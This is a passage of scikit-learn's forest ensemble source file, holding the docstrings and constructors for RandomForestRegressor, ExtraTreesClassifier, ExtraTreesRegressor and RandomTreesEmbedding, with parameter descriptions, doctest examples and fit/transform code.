threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. bootstrap : bool, default=True Whether bootstrap samples are used when building trees. If False, the whole dataset is used to build each tree. oob_score : bool, default=False Whether to use out-of-bag samples to estimate the generalization score. Only available if bootstrap=True. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`predict`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls both the randomness of the bootstrapping of the samples used when building trees (if ``bootstrap=True``) and the sampling of the features to consider when looking for the best split at each node (if ``max_features < n_features``). See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. ccp_alpha : non-negative float, default=0.0 Complexity parameter used for Minimal Cost-Complexity Pruning. The subtree with the largest cost complexity that is smaller than ``ccp_alpha`` will be chosen. By default, no pruning is performed. See :ref:`minimal_cost_complexity_pruning` for details. .. versionadded:: 0.22 max_samples : int or float, default=None If bootstrap is True, the number of samples to draw from X to train each base estimator. - If None (default), then draw `X.shape[0]` samples. - If int, then draw `max_samples` samples. - If float, then draw `max_samples * X.shape[0]` samples. Thus, `max_samples` should be in the interval `(0.0, 1.0]`. .. versionadded:: 0.22 Attributes ---------- base_estimator_ : DecisionTreeRegressor The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeRegressor The collection of fitted sub-estimators. feature_importances_ : ndarray of shape (n_features,) The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. n_features_ : int The number of features when ``fit`` is performed. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs when ``fit`` is performed. oob_score_ : float Score of the training dataset obtained using an out-of-bag estimate. This attribute exists only when ``oob_score`` is True. oob_prediction_ : ndarray of shape (n_samples,) or (n_samples, n_outputs) Prediction computed with out-of-bag estimate on the training set. This attribute exists only when ``oob_score`` is True. See Also -------- DecisionTreeRegressor, ExtraTreesRegressor Notes ----- The default values for the parameters controlling the size of the trees (e.g. ``max_depth``, ``min_samples_leaf``, etc.) lead to fully grown and unpruned trees which can potentially be very large on some data sets. To reduce memory consumption, the complexity and size of the trees should be controlled by setting those parameter values. The features are always randomly permuted at each split. Therefore, the best found split may vary, even with the same training data, ``max_features=n_features`` and ``bootstrap=False``, if the improvement of the criterion is identical for several splits enumerated during the search of the best split. To obtain a deterministic behaviour during fitting, ``random_state`` has to be fixed. The default value ``max_features="auto"`` uses ``n_features`` rather than ``n_features / 3``. The latter was originally suggested in [1], whereas the former was more recently justified empirically in [2]. References ---------- .. [1] L. Breiman, "Random Forests", Machine Learning, 45(1), 5-32, 2001. .. [2] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees", Machine Learning, 63(1), 3-42, 2006. Examples -------- >>> from sklearn.ensemble import RandomForestRegressor >>> from sklearn.datasets import make_regression >>> X, y = make_regression(n_features=4, n_informative=2, ... random_state=0, shuffle=False) >>> regr = RandomForestRegressor(max_depth=2, random_state=0) >>> regr.fit(X, y) RandomForestRegressor(...) >>> print(regr.predict([[0, 0, 0, 0]])) [-8.32987858] """ def __init__(self, n_estimators=100, *, criterion="squared_error", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, bootstrap=True, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, ccp_alpha=0.0, max_samples=None): super().__init__( base_estimator=DecisionTreeRegressor(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state", "ccp_alpha"), bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, max_samples=max_samples) self.criterion = criterion self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_features = max_features self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.ccp_alpha = ccp_alpha class ExtraTreesClassifier(ForestClassifier): """ An extra-trees classifier. This class implements a meta estimator that fits a number of randomized decision trees (a.k.a. extra-trees) on various sub-samples of the dataset and uses averaging to improve the predictive accuracy and control over-fitting. Read more in the :ref:`User Guide <forest>`. Parameters ---------- n_estimators : int, default=100 The number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. criterion : {"gini", "entropy"}, default="gini" The function to measure the quality of a split. Supported criteria are "gini" for the Gini impurity and "entropy" for the information gain. max_depth : int, default=None The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_features : {"auto", "sqrt", "log2"}, int or float, default="auto" The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `round(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=sqrt(n_features)`. - If "sqrt", then `max_features=sqrt(n_features)`. - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. bootstrap : bool, default=False Whether bootstrap samples are used when building trees. If False, the whole dataset is used to build each tree. oob_score : bool, default=False Whether to use out-of-bag samples to estimate the generalization score. Only available if bootstrap=True. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`predict`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls 3 sources of randomness: - the bootstrapping of the samples used when building trees (if ``bootstrap=True``) - the sampling of the features to consider when looking for the best split at each node (if ``max_features < n_features``) - the draw of the splits for each of the `max_features` See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. class_weight : {"balanced", "balanced_subsample"}, dict or list of dicts, \ default=None Weights associated with classes in the form ``{class_label: weight}``. If not given, all classes are supposed to have weight one. For multi-output problems, a list of dicts can be provided in the same order as the columns of y. Note that for multioutput (including multilabel) weights should be defined for each class of every column in its own dict. For example, for four-class multilabel classification weights should be [{0: 1, 1: 1}, {0: 1, 1: 5}, {0: 1, 1: 1}, {0: 1, 1: 1}] instead of [{1:1}, {2:5}, {3:1}, {4:1}]. The "balanced" mode uses the values of y to automatically adjust weights inversely proportional to class frequencies in the input data as ``n_samples / (n_classes * np.bincount(y))`` The "balanced_subsample" mode is the same as "balanced" except that weights are computed based on the bootstrap sample for every tree grown. For multi-output, the weights of each column of y will be multiplied. Note that these weights will be multiplied with sample_weight (passed through the fit method) if sample_weight is specified. ccp_alpha : non-negative float, default=0.0 Complexity parameter used for Minimal Cost-Complexity Pruning. The subtree with the largest cost complexity that is smaller than ``ccp_alpha`` will be chosen. By default, no pruning is performed. See :ref:`minimal_cost_complexity_pruning` for details. .. versionadded:: 0.22 max_samples : int or float, default=None If bootstrap is True, the number of samples to draw from X to train each base estimator. - If None (default), then draw `X.shape[0]` samples. - If int, then draw `max_samples` samples. - If float, then draw `max_samples * X.shape[0]` samples. Thus, `max_samples` should be in the interval `(0.0, 1.0]`. .. versionadded:: 0.22 Attributes ---------- base_estimator_ : ExtraTreesClassifier The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeClassifier The collection of fitted sub-estimators. classes_ : ndarray of shape (n_classes,) or a list of such arrays The classes labels (single output problem), or a list of arrays of class labels (multi-output problem). n_classes_ : int or list The number of classes (single output problem), or a list containing the number of classes for each output (multi-output problem). feature_importances_ : ndarray of shape (n_features,) The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. n_features_ : int The number of features when ``fit`` is performed. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs when ``fit`` is performed. oob_score_ : float Score of the training dataset obtained using an out-of-bag estimate. This attribute exists only when ``oob_score`` is True. oob_decision_function_ : ndarray of shape (n_samples, n_classes) or \ (n_samples, n_classes, n_outputs) Decision function computed with out-of-bag estimate on the training set. If n_estimators is small it might be possible that a data point was never left out during the bootstrap. In this case, `oob_decision_function_` might contain NaN. This attribute exists only when ``oob_score`` is True. See Also -------- sklearn.tree.ExtraTreeClassifier : Base classifier for this ensemble. RandomForestClassifier : Ensemble Classifier based on trees with optimal splits. Notes ----- The default values for the parameters controlling the size of the trees (e.g. ``max_depth``, ``min_samples_leaf``, etc.) lead to fully grown and unpruned trees which can potentially be very large on some data sets. To reduce memory consumption, the complexity and size of the trees should be controlled by setting those parameter values. References ---------- .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees", Machine Learning, 63(1), 3-42, 2006. Examples -------- >>> from sklearn.ensemble import ExtraTreesClassifier >>> from sklearn.datasets import make_classification >>> X, y = make_classification(n_features=4, random_state=0) >>> clf = ExtraTreesClassifier(n_estimators=100, random_state=0) >>> clf.fit(X, y) ExtraTreesClassifier(random_state=0) >>> clf.predict([[0, 0, 0, 0]]) array([1]) """ def __init__(self, n_estimators=100, *, criterion="gini", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, class_weight=None, ccp_alpha=0.0, max_samples=None): super().__init__( base_estimator=ExtraTreeClassifier(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state", "ccp_alpha"), bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, class_weight=class_weight, max_samples=max_samples) self.criterion = criterion self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_features = max_features self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.ccp_alpha = ccp_alpha class ExtraTreesRegressor(ForestRegressor): """ An extra-trees regressor. This class implements a meta estimator that fits a number of randomized decision trees (a.k.a. extra-trees) on various sub-samples of the dataset and uses averaging to improve the predictive accuracy and control over-fitting. Read more in the :ref:`User Guide <forest>`. Parameters ---------- n_estimators : int, default=100 The number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. criterion : {"squared_error", "mse", "absolute_error", "mae"}, \ default="squared_error" The function to measure the quality of a split. Supported criteria are "squared_error" for the mean squared error, which is equal to variance reduction as feature selection criterion, and "absolute_error" for the mean absolute error. .. versionadded:: 0.18 Mean Absolute Error (MAE) criterion. .. deprecated:: 1.0 Criterion "mse" was deprecated in v1.0 and will be removed in version 1.2. Use `criterion="squared_error"` which is equivalent. .. deprecated:: 1.0 Criterion "mae" was deprecated in v1.0 and will be removed in version 1.2. Use `criterion="absolute_error"` which is equivalent. max_depth : int, default=None The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_features : {"auto", "sqrt", "log2"}, int or float, default="auto" The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `round(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=n_features`. - If "sqrt", then `max_features=sqrt(n_features)`. - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. bootstrap : bool, default=False Whether bootstrap samples are used when building trees. If False, the whole dataset is used to build each tree. oob_score : bool, default=False Whether to use out-of-bag samples to estimate the generalization score. Only available if bootstrap=True. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`predict`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls 3 sources of randomness: - the bootstrapping of the samples used when building trees (if ``bootstrap=True``) - the sampling of the features to consider when looking for the best split at each node (if ``max_features < n_features``) - the draw of the splits for each of the `max_features` See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. ccp_alpha : non-negative float, default=0.0 Complexity parameter used for Minimal Cost-Complexity Pruning. The subtree with the largest cost complexity that is smaller than ``ccp_alpha`` will be chosen. By default, no pruning is performed. See :ref:`minimal_cost_complexity_pruning` for details. .. versionadded:: 0.22 max_samples : int or float, default=None If bootstrap is True, the number of samples to draw from X to train each base estimator. - If None (default), then draw `X.shape[0]` samples. - If int, then draw `max_samples` samples. - If float, then draw `max_samples * X.shape[0]` samples. Thus, `max_samples` should be in the interval `(0.0, 1.0]`. .. versionadded:: 0.22 Attributes ---------- base_estimator_ : ExtraTreeRegressor The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeRegressor The collection of fitted sub-estimators. feature_importances_ : ndarray of shape (n_features,) The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. n_features_ : int The number of features. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs. oob_score_ : float Score of the training dataset obtained using an out-of-bag estimate. This attribute exists only when ``oob_score`` is True. oob_prediction_ : ndarray of shape (n_samples,) or (n_samples, n_outputs) Prediction computed with out-of-bag estimate on the training set. This attribute exists only when ``oob_score`` is True. See Also -------- sklearn.tree.ExtraTreeRegressor : Base estimator for this ensemble. RandomForestRegressor : Ensemble regressor using trees with optimal splits. Notes ----- The default values for the parameters controlling the size of the trees (e.g. ``max_depth``, ``min_samples_leaf``, etc.) lead to fully grown and unpruned trees which can potentially be very large on some data sets. To reduce memory consumption, the complexity and size of the trees should be controlled by setting those parameter values. References ---------- .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees", Machine Learning, 63(1), 3-42, 2006. Examples -------- >>> from sklearn.datasets import load_diabetes >>> from sklearn.model_selection import train_test_split >>> from sklearn.ensemble import ExtraTreesRegressor >>> X, y = load_diabetes(return_X_y=True) >>> X_train, X_test, y_train, y_test = train_test_split( ... X, y, random_state=0) >>> reg = ExtraTreesRegressor(n_estimators=100, random_state=0).fit( ... X_train, y_train) >>> reg.score(X_test, y_test) 0.2708... """ def __init__(self, n_estimators=100, *, criterion="squared_error", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, ccp_alpha=0.0, max_samples=None): super().__init__( base_estimator=ExtraTreeRegressor(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state", "ccp_alpha"), bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, max_samples=max_samples) self.criterion = criterion self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_features = max_features self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.ccp_alpha = ccp_alpha class RandomTreesEmbedding(BaseForest): """ An ensemble of totally random trees. An unsupervised transformation of a dataset to a high-dimensional sparse representation. A datapoint is coded according to which leaf of each tree it is sorted into. Using a one-hot encoding of the leaves, this leads to a binary coding with as many ones as there are trees in the forest. The dimensionality of the resulting representation is ``n_out <= n_estimators * max_leaf_nodes``. If ``max_leaf_nodes == None``, the number of leaf nodes is at most ``n_estimators * 2 ** max_depth``. Read more in the :ref:`User Guide <random_trees_embedding>`. Parameters ---------- n_estimators : int, default=100 Number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. max_depth : int, default=5 The maximum depth of each tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` is the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` is the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. sparse_output : bool, default=True Whether or not to return a sparse CSR matrix, as default behavior, or to return a dense array compatible with dense pipeline operators. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`transform`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls the generation of the random `y` used to fit the trees and the draw of the splits for each feature at the trees' nodes. See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. Attributes ---------- base_estimator_ : DecisionTreeClassifier instance The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeClassifier instances The collection of fitted sub-estimators. feature_importances_ : ndarray of shape (n_features,) The feature importances (the higher, the more important the feature). n_features_ : int The number of features when ``fit`` is performed. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs when ``fit`` is performed. one_hot_encoder_ : OneHotEncoder instance One-hot encoder used to create the sparse embedding. References ---------- .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees", Machine Learning, 63(1), 3-42, 2006. .. [2] Moosmann, F. and Triggs, B. and Jurie, F. "Fast discriminative visual codebooks using randomized clustering forests" NIPS 2007 Examples -------- >>> from sklearn.ensemble import RandomTreesEmbedding >>> X = [[0,0], [1,0], [0,1], [-1,0], [0,-1]] >>> random_trees = RandomTreesEmbedding( ... n_estimators=5, random_state=0, max_depth=1).fit(X) >>> X_sparse_embedding = random_trees.transform(X) >>> X_sparse_embedding.toarray() array([[0., 1., 1., 0., 1., 0., 0., 1., 1., 0.], [0., 1., 1., 0., 1., 0., 0., 1., 1., 0.], [0., 1., 0., 1., 0., 1., 0., 1., 0., 1.], [1., 0., 1., 0., 1., 0., 1., 0., 1., 0.], [0., 1., 1., 0., 1., 0., 0., 1., 1., 0.]]) """ criterion = "squared_error" max_features = 1 def __init__(self, n_estimators=100, *, max_depth=5, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, sparse_output=True, n_jobs=None, random_state=None, verbose=0, warm_start=False): super().__init__( base_estimator=ExtraTreeRegressor(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state"), bootstrap=False, oob_score=False, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, max_samples=None) self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.sparse_output = sparse_output def _set_oob_score_and_attributes(self, X, y): raise NotImplementedError("OOB score not supported by tree embedding") def fit(self, X, y=None, sample_weight=None): """ Fit estimator. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Use ``dtype=np.float32`` for maximum efficiency. Sparse matrices are also supported, use sparse ``csc_matrix`` for maximum efficiency. y : Ignored Not used, present for API consistency by convention. sample_weight : array-like of shape (n_samples,), default=None Sample weights. If None, then samples are equally weighted. Splits that would create child nodes with net zero or negative weight are ignored while searching for a split in each node. In the case of classification, splits are also ignored if they would result in any single class carrying a negative weight in either child node. Returns ------- self : object """ self.fit_transform(X, y, sample_weight=sample_weight) return self def fit_transform(self, X, y=None, sample_weight=None): """ Fit estimator and transform dataset. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) Input data used to build forests. Use ``dtype=np.float32`` for maximum efficiency. y : Ignored Not used, present for API consistency by convention. sample_weight : array-like of shape (n_samples,), default=None Sample weights. If None, then samples are equally weighted. Splits that would create child nodes with net zero or negative weight are ignored while searching for a split in each node. In the case of classification, splits are also ignored if they would result in any single class carrying a negative weight in either child node. Returns ------- X_transformed : sparse matrix of shape (n_samples, n_out) Transformed dataset. """ X = self._validate_data(X, accept_sparse=['csc']) if issparse(X): # Pre-sort indices to avoid that each individual tree of the # ensemble sorts the indices. X.sort_indices() rnd = check_random_state(self.random_state) y = rnd.uniform(size=X.shape[0]) super().fit(X, y, sample_weight=sample_weight) self.one_hot_encoder_ = OneHotEncoder(sparse=self.sparse_output) return self.one_hot_encoder_.fit_transform(self.apply(X)) def transform(self, X): """ Transform dataset. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) Input data to be transformed. Use ``dtype=np.float32`` for maximum efficiency. Sparse matrices are also supported, use sparse ``csr_matrix`` for maximum efficiency. Returns ------- X_transformed : sparse matrix of shape (n_samples, n_out) Transformed dataset. """ check_is_fitted(self) return self.one_hot_encoder_.transform(self.apply(X))
kevin-intel/scikit-learn
sklearn/ensemble/_forest.py
Python
bsd-3-clause
102,940
